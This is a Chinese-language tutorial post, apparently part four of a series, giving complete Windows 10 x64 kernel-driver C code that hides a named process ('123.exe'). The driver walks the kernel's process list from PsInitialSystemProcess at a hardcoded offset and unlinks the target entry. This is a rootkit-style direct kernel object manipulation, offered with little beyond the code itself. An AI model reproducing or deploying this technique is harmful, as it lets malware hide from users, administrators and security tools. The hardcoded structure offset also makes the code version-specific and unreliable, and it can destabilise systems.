windows10驱动 x64--- 驱动实现隐藏任意进程（四）-Toy模板网

这篇具有很好参考价值的文章主要介绍了windows10驱动 x64--- 驱动实现隐藏任意进程（四）。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

了解原理

流程：PsInitialSystemProcess(进程HeadList) —>给出进程名—>0环实现进程隐藏

驱动层代码—0环

#include "ntifs.h"
#include<wdm.h>

//extern PEPROCESS PsInitialSystemProcess;
NTSTATUS DriverUnload(PDRIVER_OBJECT DriverObject)
{
	DbgPrint("Driver Exit \r\n");
	return STATUS_SUCCESS;

}

UCHAR* PsGetProcessImageFileName(PEPROCESS Process);
PEPROCESS ProcessObject;

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING Regedit)
{
	

	//遍历进程
	PUCHAR szProcessName = PsGetProcessImageFileName(PsInitialSystemProcess);

	PLIST_ENTRY BmpList = { 0 };
	BmpList = (PLIST_ENTRY)(((PUCHAR)PsInitialSystemProcess + 0x448));
	BOOLEAN bmp = FALSE;
	
	DbgPrint("szProcessName %s\n", szProcessName);
	for (;;)
	{
		
		BmpList = BmpList->Flink;
		szProcessName = PsGetProcessImageFileName((PEPROCESS)((PUCHAR)BmpList -0x448));
		DbgPrint("szProcessName %s\n", szProcessName);
		if (strcmp(szProcessName, "") == 0)
		{
			bmp = TRUE;
			return STATUS_SUCCESS;
		}

		if (strcmp(szProcessName, "123.exe") == 0)
		{
			//DbgPrint("找到了");
			break;
		}

	}
	//隐藏进程
	BmpList->Flink->Blink = BmpList->Blink;
	BmpList->Blink->Flink = BmpList->Flink;

	DriverObject->DriverUnload = DriverUnload;
	return STATUS_SUCCESS;
}